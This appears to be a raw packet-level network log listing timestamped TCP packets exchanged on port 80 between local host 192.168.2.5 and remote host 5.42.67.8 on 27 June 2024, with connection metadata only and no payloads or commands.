Jun 27, 2024 06:44:18.897846937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897854090 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897876024 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897960901 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897974968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897984028 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897989035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898003101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898015976 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898029089 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898029089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898041964 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898042917 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898056030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898078918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898078918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898081064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898103952 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898118019 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898124933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898283005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898298025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898315907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898329973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898332119 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898344994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898351908 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898359060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898374081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898376942 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898389101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898396015 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898403883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898420095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898438931 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898504972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898518085 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898531914 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898540974 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898545980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898561001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898567915 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898587942 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898608923 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898633003 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898648024 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898660898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898673058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898675919 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898689985 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898698092 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898698092 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898704052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898710012 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898726940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898730040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898739100 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898744106 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898758888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898766041 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898773909 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898782969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898787975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898797989 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898802042 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898808002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898814917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898825884 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898829937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.898838043 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898855925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.898869991 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.899005890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.899027109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.899040937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.899049044 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.899056911 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.899061918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.899070024 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.899082899 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.899084091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.899090052 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.899107933 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.899126053 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.966195107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.966250896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.966272116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.966295958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.966309071 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.966321945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.966327906 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.966337919 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.966351032 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.966362000 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.966382980 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.974786043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.974801064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.974816084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.974872112 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.974890947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.974901915 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.974905014 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.974932909 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.974936008 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.974948883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.974953890 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.974972010 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.974986076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.974989891 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.975001097 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.975014925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.975034952 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.975053072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.975060940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.975070953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.975100994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.975112915 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.975116014 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.975136042 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.975189924 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983231068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983246088 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983261108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983298063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983346939 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983366966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983381033 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983395100 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983405113 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983423948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983429909 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983432055 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983448982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983463049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983465910 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983479023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983483076 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983499050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983510017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983521938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983525991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983539104 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983550072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983555079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983573914 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983582973 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983665943 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983681917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983695030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983702898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983711958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983728886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983736038 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983741999 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983786106 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983820915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983834982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983850956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983870983 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983871937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983882904 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983886003 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983907938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983926058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.983963013 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983977079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.983989954 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984004021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984006882 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984018087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984029055 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984031916 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984052896 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984080076 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984081030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984095097 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984108925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984128952 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984153986 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984214067 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984229088 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984242916 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984266996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984266996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984282017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984291077 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984293938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984313011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984314919 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984317064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984344959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984354973 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984378099 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984496117 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984509945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984524012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984538078 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984545946 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984551907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984565973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984568119 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984581947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984595060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984601021 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984608889 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984625101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984627962 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984643936 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984673977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984724045 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984738111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984751940 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984766006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984774113 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984778881 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984798908 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984812975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984838963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984872103 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984904051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984918118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984931946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984936953 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984946012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984952927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984957933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.984968901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.984986067 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985002995 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985021114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985034943 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985048056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985061884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985066891 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985075951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985085011 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985090017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985104084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985117912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985121012 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985125065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985136032 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985138893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985166073 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985188007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985346079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985359907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985372066 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985383987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985393047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985398054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985413074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985414982 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985428095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985435009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985449076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985456944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985464096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985476017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985485077 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985501051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985666990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985681057 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985694885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985708952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985709906 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985723019 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985723972 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985738039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985749006 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985757113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985764027 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985770941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985785007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985790014 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985799074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985811949 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985814095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985827923 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985836029 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985841990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985856056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.985860109 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985876083 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.985897064 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.052963972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.052995920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.053009033 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.053051949 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.053098917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.053113937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.053126097 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.053127050 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.053134918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.053141117 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.053154945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.053163052 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.053188086 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.061559916 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061574936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061589003 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061603069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061654091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061667919 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061681032 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061681986 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.061696053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061753988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061763048 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.061822891 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.061852932 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061867952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061881065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061894894 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061908007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.061908007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.061970949 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.070877075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.070899010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.070913076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.070969105 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.070992947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071007013 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071016073 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.071022034 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071036100 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071049929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071134090 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071147919 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071161985 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071175098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071196079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.071212053 CEST	80	49719	5.42.67.8	192.168.2.5
